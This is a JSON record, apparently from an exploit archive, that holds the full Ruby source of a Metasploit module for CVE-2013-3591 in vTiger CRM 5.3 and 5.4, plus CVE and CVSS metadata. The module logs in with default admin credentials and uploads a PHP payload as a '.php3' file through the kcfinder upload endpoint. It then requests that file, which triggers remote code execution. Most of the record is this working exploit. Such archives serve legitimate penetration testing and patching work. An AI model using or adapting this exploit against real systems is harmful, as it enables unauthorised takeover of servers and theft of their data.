{"exploit":{"id":"MSF-multi--http--vtiger_php_exec","name":"vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution","description":"vTiger CRM allows an authenticated user to upload files to embed within documents. Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP script and execute arbitrary PHP code remotely. This module was tested against vTiger CRM v5.4.0 and v5.3.0.","cves":["CVE-2013-3591"],"author":"Brandon Perry","published":"2013-10-30","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/vtiger_php_exec.rb","path":"modules/exploits/multi/http/vtiger_php_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"vtiger_php_exec.rb","vulnerabilities":[{"id":"CVE-2013-3591","state":"PUBLISHED","title":null,"titleSource":null,"description":"vTiger CRM 5.3 and 5.4: 'files' Upload Folder Arbitrary PHP Code Execution Vulnerability","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-3591","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-3591"},"updatedAt":"2024-08-06T16:14:56.578Z","retrievedAt":"2026-11-26T12:49:09.724Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--vtiger_php_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--vtiger_php_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--vtiger_php_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--vtiger_php_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',\n        'Description' => %q{\n          vTiger CRM allows an authenticated user to upload files to embed within documents.\n          Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP\n          script and execute arbitrary PHP code remotely.\n\n          This module was tested against vTiger CRM v5.4.0 and v5.3.0.\n        },\n        'Author' => [\n          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2013-3591'],\n          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']\n        ],\n        'Privileged' => false,\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Payload' => {\n          'BadChars' => \"&\\n=+%\",\n        },\n        'Targets' => [\n          [ 'Automatic', {} ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2013-10-30',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [ true, \"Base vTiger CRM directory path\", '/vtigercrm/']),\n        OptString.new('USERNAME', [ true, \"Username to authenticate with\", 'admin']),\n        OptString.new('PASSWORD', [ false, \"Password to authenticate with\", 'admin'])\n      ]\n    )\n  end\n\n  def check\n    res = nil\n    begin\n      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })\n    rescue\n      vprint_error(\"Unable to access the index.php file\")\n      return CheckCode::Unknown('No response received from the target')\n    end\n\n    if res and res.code != 200\n      vprint_error(\"Error accessing the index.php file\")\n      return CheckCode::Unknown('Unexpected HTTP response status from the target')\n    end\n\n    if res.body =~ /<div class=\"poweredBy\">Powered by vtiger CRM - (.*)<\\/div>/i\n      vprint_status(\"vTiger CRM version: \" + $1)\n      case $1\n      when '5.4.0', '5.3.0'\n        return CheckCode::Appears('The target appears to be a vulnerable version')\n      else\n        return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')\n      end\n    end\n\n    return CheckCode::Safe('The target is not running a vulnerable version')\n  end\n\n  def exploit\n    init = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/index.php')\n    })\n\n    sess = init.get_cookies\n\n    post = {\n      'module' => 'Users',\n      'action' => 'Authenticate',\n      'return_module' => 'Users',\n      'return_action' => 'Login',\n      'user_name' => datastore['USERNAME'],\n      'user_password' => datastore['PASSWORD']\n    }\n\n    login = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/index.php'),\n      'vars_post' => post,\n      'cookie' => sess\n    })\n\n    fname = rand_text_alphanumeric(rand(10) + 6) + '.php3'\n    cookies = login.get_cookies\n\n    php = %Q|<?php #{payload.encoded} ?>|\n    data = Rex::MIME::Message.new\n    data.add_part(php, 'application/x-php', nil, \"form-data; name=\\\"upload\\\"; filename=\\\"#{fname}\\\"\");\n    data.add_part('files', nil, nil, 'form-data; name=\"dir\"')\n\n    data_post = data.to_s\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => data_post,\n      'cookie' => cookies\n    })\n    if res and res.code == 200\n      print_status(\"Triggering payload...\")\n      send_request_raw({ 'uri' => datastore[\"TARGETURI\"] + \"/test/upload/files/#{fname}\" }, 5)\n    end\n  end\nend\n","sha256":"4339a472e60b1a68aad4e95b0f04ef378559ee8d40c0be8fc2bde85a05a5886f","bytes":4237,"fetchedAt":"2026-11-26T12:49:05.069Z","encoding":"utf-8 (display only; download retains original bytes)"}